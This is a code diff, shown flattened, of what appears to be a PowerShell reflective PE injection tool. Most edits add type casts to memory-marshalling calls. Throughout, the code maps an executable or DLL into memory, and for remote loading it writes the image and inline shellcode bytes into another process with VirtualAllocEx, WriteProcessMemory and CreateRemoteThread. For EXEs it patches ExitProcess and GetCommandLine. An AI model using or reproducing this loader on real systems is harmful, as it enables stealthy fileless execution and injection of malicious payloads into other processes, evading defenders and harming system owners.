([System.Runtime.InteropServices.Marshal]::PtrToStructure($NameOffsetPtr, [Type][UInt32])) + $Name = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi($NamePtr) + + if ($Name -ceq $FunctionName) + { + #AddressOfNameOrdinals is a table which contains points to a WORD which is the index in to AddressOfFunctions + # which contains the offset of the function in to the DLL + $OrdinalPtr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfNameOrdinals + ($i * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt16]))) + $FuncIndex = [System.Runtime.InteropServices.Marshal]::PtrToStructure($OrdinalPtr, [Type][UInt16]) + $FuncOffsetAddr = Add-SignedIntAsUnsigned ($PEHandle) ($ExportTable.AddressOfFunctions + ($FuncIndex * [System.Runtime.InteropServices.Marshal]::SizeOf([Type][UInt32]))) + $FuncOffset = [System.Runtime.InteropServices.Marshal]::PtrToStructure($FuncOffsetAddr, [Type][UInt32]) + return Add-SignedIntAsUnsigned ($PEHandle) ($FuncOffset) + } + } + + return [IntPtr]::Zero + } + + + Function Invoke-MemoryLoadLibrary + { + Param( + [Parameter( Position = 0, Mandatory = $true )] + [Byte[]] + $PEBytes, + + [Parameter(Position = 1, Mandatory = $false)] + [String] + $ExeArgs, + + [Parameter(Position = 2, Mandatory = $false)] + [IntPtr] + $RemoteProcHandle + ) + + $PtrSize = [System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $RemoteLoading = $false + if (($RemoteProcHandle -ne $null) -and ($RemoteProcHandle -ne [IntPtr]::Zero)) + { + $RemoteLoading = $true + } + + #Get basic PE information + Write-Verbose "Getting basic PE information from the file" + $PEInfo = Get-PEBasicInfo -PEBytes $PEBytes -Win32Types $Win32Types + $OriginalImageBase = $PEInfo.OriginalImageBase + $NXCompatible = $true + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_NX_COMPAT) + { + Write-Warning "PE is not compatible with DEP, might cause issues" -WarningAction Continue + $NXCompatible = $false + } + + + #Verify that the PE and the current process are the same bits (32bit or 64bit) + $Process64Bit = $true + if ($RemoteLoading -eq $true) + { + $Kernel32Handle = $Win32Functions.GetModuleHandle.Invoke("kernel32.dll") + $Result = $Win32Functions.GetProcAddress.Invoke($Kernel32Handle, "IsWow64Process") + if ($Result -eq [IntPtr]::Zero) + { + Throw "Couldn't locate IsWow64Process function to determine if target process is 32bit or 64bit" + } - [Bool]$Wow64Process = $false - $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) - if ($Success -eq $false) - { - Throw "Call to IsWow64Process failed" - } + [Bool]$Wow64Process = $false + $Success = $Win32Functions.IsWow64Process.Invoke($RemoteProcHandle, [Ref]$Wow64Process) + if ($Success -eq $false) + { + Throw "Call to IsWow64Process failed" + } - if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -eq 4))) - { - $Process64Bit = $false - } + if (($Wow64Process -eq $true) -or (($Wow64Process -eq $false) -and ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -eq 4))) + { + $Process64Bit = $false + } - #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly - $PowerShell64Bit = $true - if ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -ne 8) - { - $PowerShell64Bit = $false - } - if ($PowerShell64Bit -ne $Process64Bit) - { - throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" - } - } - else - { - if ([System.Runtime.InteropServices.Marshal]::SizeOf([IntPtr]) -ne 8) - { - $Process64Bit = $false - } - } - if ($Process64Bit -ne $PEInfo.PE64Bit) - { - Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" - } - - - #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address - Write-Verbose "Allocating memory for the PE and write its headers to memory" - - [IntPtr]$LoadAddr = [IntPtr]::Zero - if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) - { - Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue - [IntPtr]$LoadAddr = $OriginalImageBase - } - - $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell - $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. - if ($RemoteLoading -eq $true) - { - #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup - $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + #PowerShell needs to be same bit as the PE being loaded for IntPtr to work correctly + $PowerShell64Bit = $true + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $PowerShell64Bit = $false + } + if ($PowerShell64Bit -ne $Process64Bit) + { + throw "PowerShell must be same architecture (x86/x64) as PE being loaded and remote process" + } + } + else + { + if ([System.Runtime.InteropServices.Marshal]::SizeOf([Type][IntPtr]) -ne 8) + { + $Process64Bit = $false + } + } + if ($Process64Bit -ne $PEInfo.PE64Bit) + { + Throw "PE platform doesn't match the architecture of the process it is being loaded in (32/64bit)" + } + + + #Allocate memory and write the PE to memory. If the PE supports ASLR, allocate to a random memory address + Write-Verbose "Allocating memory for the PE and write its headers to memory" + + [IntPtr]$LoadAddr = [IntPtr]::Zero + if (($PEInfo.DllCharacteristics -band $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) -ne $Win32Constants.IMAGE_DLLCHARACTERISTICS_DYNAMIC_BASE) + { + Write-Warning "PE file being reflectively loaded is not ASLR compatible. If the loading fails, try restarting PowerShell and trying again" -WarningAction Continue + [IntPtr]$LoadAddr = $OriginalImageBase + } + + $PEHandle = [IntPtr]::Zero #This is where the PE is allocated in PowerShell + $EffectivePEHandle = [IntPtr]::Zero #This is the address the PE will be loaded to. If it is loaded in PowerShell, this equals $PEHandle. If it is loaded in a remote process, this is the address in the remote process. + if ($RemoteLoading -eq $true) + { + #Allocate space in the remote process, and also allocate space in PowerShell. The PE will be setup in PowerShell and copied to the remote process when it is setup + $PEHandle = $Win32Functions.VirtualAlloc.Invoke([IntPtr]::Zero, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - #todo, error handling needs to delete this memory if an error happens along the way - $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($EffectivePEHandle -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" - } - } - else - { - if ($NXCompatible -eq $true) - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) - } - else - { - $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - } - $EffectivePEHandle = $PEHandle - } - - [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) - if ($PEHandle -eq [IntPtr]::Zero) - { - Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." - } - [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null - - - #Now that the PE is in memory, get more detailed information about it - Write-Verbose "Getting detailed PE information from the headers loaded in memory" - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress - $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle - Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" - - - #Copy each section from the PE in to memory - Write-Verbose "Copy PE sections in to memory" - Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types - - - #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded - Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" - Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types - - - #The PE we are in-memory loading has DLLs it needs, import those DLLs for it - Write-Verbose "Import DLL's needed by the PE we are loading" - if ($RemoteLoading -eq $true) - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle - } - else - { - Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants - } - - - #Update the memory protection flags for all the memory just allocated - if ($RemoteLoading -eq $false) - { - if ($NXCompatible -eq $true) - { - Write-Verbose "Update memory protection flags" - Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types - } - else - { - Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" - } - } - else - { - Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" - } - - - #If remote loading, copy the DLL in to remote process memory - if ($RemoteLoading -eq $true) - { - [UInt32]$NumBytesWritten = 0 - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) - if ($Success -eq $false) - { - Throw "Unable to write shellcode to remote process memory." - } - } - - - #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function - if ($PEInfo.FileType -ieq "DLL") - { - if ($RemoteLoading -eq $false) - { - Write-Verbose "Calling dllmain so the DLL knows it has been loaded" - $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) - $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) + #todo, error handling needs to delete this memory if an error happens along the way + $EffectivePEHandle = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, $LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($EffectivePEHandle -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process. If the PE being loaded doesn't support ASLR, it could be that the requested base address of the PE is already in use" + } + } + else + { + if ($NXCompatible -eq $true) + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_READWRITE) + } + else + { + $PEHandle = $Win32Functions.VirtualAlloc.Invoke($LoadAddr, [UIntPtr]$PEInfo.SizeOfImage, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + } + $EffectivePEHandle = $PEHandle + } + + [IntPtr]$PEEndAddress = Add-SignedIntAsUnsigned ($PEHandle) ([Int64]$PEInfo.SizeOfImage) + if ($PEHandle -eq [IntPtr]::Zero) + { + Throw "VirtualAlloc failed to allocate memory for PE. If PE is not ASLR compatible, try running the script in a new PowerShell process (the new PowerShell process will have a different memory layout, so the address the PE wants might be free)." + } + [System.Runtime.InteropServices.Marshal]::Copy($PEBytes, 0, $PEHandle, $PEInfo.SizeOfHeaders) | Out-Null + + + #Now that the PE is in memory, get more detailed information about it + Write-Verbose "Getting detailed PE information from the headers loaded in memory" + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + $PEInfo | Add-Member -MemberType NoteProperty -Name EndAddress -Value $PEEndAddress + $PEInfo | Add-Member -MemberType NoteProperty -Name EffectivePEHandle -Value $EffectivePEHandle + Write-Verbose "StartAddress: $PEHandle EndAddress: $PEEndAddress" + + + #Copy each section from the PE in to memory + Write-Verbose "Copy PE sections in to memory" + Copy-Sections -PEBytes $PEBytes -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types + + + #Update the memory addresses hardcoded in to the PE based on the memory address the PE was expecting to be loaded to vs where it was actually loaded + Write-Verbose "Update memory addresses based on where the PE was actually loaded in memory" + Update-MemoryAddresses -PEInfo $PEInfo -OriginalImageBase $OriginalImageBase -Win32Constants $Win32Constants -Win32Types $Win32Types + + + #The PE we are in-memory loading has DLLs it needs, import those DLLs for it + Write-Verbose "Import DLL's needed by the PE we are loading" + if ($RemoteLoading -eq $true) + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants -RemoteProcHandle $RemoteProcHandle + } + else + { + Import-DllImports -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Types $Win32Types -Win32Constants $Win32Constants + } + + + #Update the memory protection flags for all the memory just allocated + if ($RemoteLoading -eq $false) + { + if ($NXCompatible -eq $true) + { + Write-Verbose "Update memory protection flags" + Update-MemoryProtectionFlags -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -Win32Types $Win32Types + } + else + { + Write-Verbose "PE being reflectively loaded is not compatible with NX memory, keeping memory as read write execute" + } + } + else + { + Write-Verbose "PE being loaded in to a remote process, not adjusting memory permissions" + } + + + #If remote loading, copy the DLL in to remote process memory + if ($RemoteLoading -eq $true) + { + [UInt32]$NumBytesWritten = 0 + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $EffectivePEHandle, $PEHandle, [UIntPtr]($PEInfo.SizeOfImage), [Ref]$NumBytesWritten) + if ($Success -eq $false) + { + Throw "Unable to write shellcode to remote process memory." + } + } + + + #Call the entry point, if this is a DLL the entrypoint is the DllMain function, if it is an EXE it is the Main function + if ($PEInfo.FileType -ieq "DLL") + { + if ($RemoteLoading -eq $false) + { + Write-Verbose "Calling dllmain so the DLL knows it has been loaded" + $DllMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMainDelegate = Get-DelegateType @([IntPtr], [UInt32], [IntPtr]) ([Bool]) + $DllMain = [System.Runtime.InteropServices.Marshal]::GetDelegateForFunctionPointer($DllMainPtr, $DllMainDelegate) - $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null - } - else - { - $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + $DllMain.Invoke($PEInfo.PEHandle, 1, [IntPtr]::Zero) | Out-Null + } + else + { + $DllMainPtr = Add-SignedIntAsUnsigned ($EffectivePEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - if ($PEInfo.PE64Bit -eq $true) - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) - } - else - { - #Shellcode: CallDllMain.asm - $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) - $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) - $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) - } - $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) - $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) - $SCPSMemOriginal = $SCPSMem + if ($PEInfo.PE64Bit -eq $true) + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x48, 0x89, 0xe3, 0x66, 0x83, 0xe4, 0x00, 0x48, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0x41, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x48, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x48, 0x89, 0xdc, 0x5b, 0xc3) + } + else + { + #Shellcode: CallDllMain.asm + $CallDllMainSC1 = @(0x53, 0x89, 0xe3, 0x83, 0xe4, 0xf0, 0xb9) + $CallDllMainSC2 = @(0xba, 0x01, 0x00, 0x00, 0x00, 0xb8, 0x00, 0x00, 0x00, 0x00, 0x50, 0x52, 0x51, 0xb8) + $CallDllMainSC3 = @(0xff, 0xd0, 0x89, 0xdc, 0x5b, 0xc3) + } + $SCLength = $CallDllMainSC1.Length + $CallDllMainSC2.Length + $CallDllMainSC3.Length + ($PtrSize * 2) + $SCPSMem = [System.Runtime.InteropServices.Marshal]::AllocHGlobal($SCLength) + $SCPSMemOriginal = $SCPSMem - Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) - [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) - Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem - $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) + Write-BytesToMemory -Bytes $CallDllMainSC1 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC1.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($EffectivePEHandle, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC2 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC2.Length) + [System.Runtime.InteropServices.Marshal]::StructureToPtr($DllMainPtr, $SCPSMem, $false) + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($PtrSize) + Write-BytesToMemory -Bytes $CallDllMainSC3 -MemoryAddress $SCPSMem + $SCPSMem = Add-SignedIntAsUnsigned $SCPSMem ($CallDllMainSC3.Length) - $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) - if ($RSCAddr -eq [IntPtr]::Zero) - { - Throw "Unable to allocate memory in the remote process for shellcode" - } + $RSCAddr = $Win32Functions.VirtualAllocEx.Invoke($RemoteProcHandle, [IntPtr]::Zero, [UIntPtr][UInt64]$SCLength, $Win32Constants.MEM_COMMIT -bor $Win32Constants.MEM_RESERVE, $Win32Constants.PAGE_EXECUTE_READWRITE) + if ($RSCAddr -eq [IntPtr]::Zero) + { + Throw "Unable to allocate memory in the remote process for shellcode" + } - $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) - if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) - { - Throw "Unable to write shellcode to remote process memory." - } - - $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions - $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) - if ($Result -ne 0) - { - Throw "Call to CreateRemoteThread to call GetProcAddress failed." - } + $Success = $Win32Functions.WriteProcessMemory.Invoke($RemoteProcHandle, $RSCAddr, $SCPSMemOriginal, [UIntPtr][UInt64]$SCLength, [Ref]$NumBytesWritten) + if (($Success -eq $false) -or ([UInt64]$NumBytesWritten -ne [UInt64]$SCLength)) + { + Throw "Unable to write shellcode to remote process memory." + } + + $RThreadHandle = Invoke-CreateRemoteThread -ProcessHandle $RemoteProcHandle -StartAddress $RSCAddr -Win32Functions $Win32Functions + $Result = $Win32Functions.WaitForSingleObject.Invoke($RThreadHandle, 20000) + if ($Result -ne 0) + { + Throw "Call to CreateRemoteThread to call GetProcAddress failed." + } - $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null - } - } - elseif ($PEInfo.FileType -ieq "EXE") - { - #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process - [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) - [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) - $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr - - #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread - # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. - [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) - Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." - - $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null - - while($true) - { - [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) - if ($ThreadDone -eq 1) - { - Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants - Write-Verbose "EXE thread has completed." - break - } - else - { - Start-Sleep -Seconds 1 - } - } - } - - return @($PEInfo.PEHandle, $EffectivePEHandle) - } + $Win32Functions.VirtualFreeEx.Invoke($RemoteProcHandle, $RSCAddr, [UIntPtr][UInt64]0, $Win32Constants.MEM_RELEASE) | Out-Null + } + } + elseif ($PEInfo.FileType -ieq "EXE") + { + #Overwrite GetCommandLine and ExitProcess so we can provide our own arguments to the EXE and prevent it from killing the PS process + [IntPtr]$ExeDoneBytePtr = [System.Runtime.InteropServices.Marshal]::AllocHGlobal(1) + [System.Runtime.InteropServices.Marshal]::WriteByte($ExeDoneBytePtr, 0, 0x00) + $OverwrittenMemInfo = Update-ExeFunctions -PEInfo $PEInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants -ExeArguments $ExeArgs -ExeDoneBytePtr $ExeDoneBytePtr + + #If this is an EXE, call the entry point in a new thread. We have overwritten the ExitProcess function to instead ExitThread + # This way the reflectively loaded EXE won't kill the powershell process when it exits, it will just kill its own thread. + [IntPtr]$ExeMainPtr = Add-SignedIntAsUnsigned ($PEInfo.PEHandle) ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.AddressOfEntryPoint) + Write-Verbose "Call EXE Main function. Address: $ExeMainPtr. Creating thread for the EXE to run in." + + $Win32Functions.CreateThread.Invoke([IntPtr]::Zero, [IntPtr]::Zero, $ExeMainPtr, [IntPtr]::Zero, ([UInt32]0), [Ref]([UInt32]0)) | Out-Null + + while($true) + { + [Byte]$ThreadDone = [System.Runtime.InteropServices.Marshal]::ReadByte($ExeDoneBytePtr, 0) + if ($ThreadDone -eq 1) + { + Copy-ArrayOfMemAddresses -CopyInfo $OverwrittenMemInfo -Win32Functions $Win32Functions -Win32Constants $Win32Constants + Write-Verbose "EXE thread has completed." + break + } + else + { + Start-Sleep -Seconds 1 + } + } + } + + return @($PEInfo.PEHandle, $EffectivePEHandle) + } - Function Invoke-MemoryFreeLibrary - { - Param( - [Parameter(Position=0, Mandatory=$true)] - [IntPtr] - $PEHandle - ) - - #Get Win32 constants and functions - $Win32Constants = Get-Win32Constants - $Win32Functions = Get-Win32Functions - $Win32Types = Get-Win32Types - - $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants - - #Call FreeLibrary for all the imports of the DLL - if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) - { - [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) + Function Invoke-MemoryFreeLibrary + { + Param( + [Parameter(Position=0, Mandatory=$true)] + [IntPtr] + $PEHandle + ) + + #Get Win32 constants and functions + $Win32Constants = Get-Win32Constants + $Win32Functions = Get-Win32Functions + $Win32Types = Get-Win32Types + + $PEInfo = Get-PEDetailedInfo -PEHandle $PEHandle -Win32Types $Win32Types -Win32Constants $Win32Constants + + #Call FreeLibrary for all the imports of the DLL + if ($PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.Size -gt 0) + { + [IntPtr]$ImportDescriptorPtr = Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$PEInfo.IMAGE_NT_HEADERS.OptionalHeader.ImportTable.VirtualAddress) - while ($true) - { - $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, $Win32Types.IMAGE_IMPORT_DESCRIPTOR) + while ($true) + { + $ImportDescriptor = [System.Runtime.InteropServices.Marshal]::PtrToStructure($ImportDescriptorPtr, [Type]$Win32Types.IMAGE_IMPORT_DESCRIPTOR) - #If the structure is null, it signals that this is the end of the array - if ($ImportDescriptor.Characteristics -eq 0 ` - -and $ImportDescriptor.FirstThunk -eq 0 ` - -and $ImportDescriptor.ForwarderChain -eq 0 ` - -and $ImportDescriptor.Name -eq 0 ` - -and $ImportDescriptor.TimeDateStamp -eq 0) - { - Write-Verbose "Done unloading the libraries needed by the PE" - break - } - - $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) - $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) - - if ($ImportDllHandle -eq $null) - { - Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue - } + #If the structure is null, it signals that this is the end of the array + if ($ImportDescriptor.Characteristics -eq 0 ` + -and $ImportDescriptor.FirstThunk -eq 0 ` + -and $ImportDescriptor.ForwarderChain -eq 0 ` + -and $ImportDescriptor.Name -eq 0 ` + -and $ImportDescriptor.TimeDateStamp -eq 0) + { + Write-Verbose "Done unloading the libraries needed by the PE" + break + } + + $ImportDllPath = [System.Runtime.InteropServices.Marshal]::PtrToStringAnsi((Add-SignedIntAsUnsigned ([Int64]$PEInfo.PEHandle) ([Int64]$ImportDescriptor.Name))) + $ImportDllHandle = $Win32Functions.GetModuleHandle.Invoke($ImportDllPath) + + if ($ImportDllHandle -eq $null) + { + Write-Warning "Error getting DLL handle in MemoryFreeLibrary, DLLName: $ImportDllPath. Continuing anyways" -WarningAction Continue + } - $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) - if ($Success -eq $false) - { - Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue - } + $Success = $Win32Functions.FreeLibrary.Invoke($ImportDllHandle) + if ($Success -eq $false) + { + Write-Warning "Unable to free library: $ImportDllPath. Continuing anyways." -WarningAction Continue + } - $ImportDescriptorPtr = 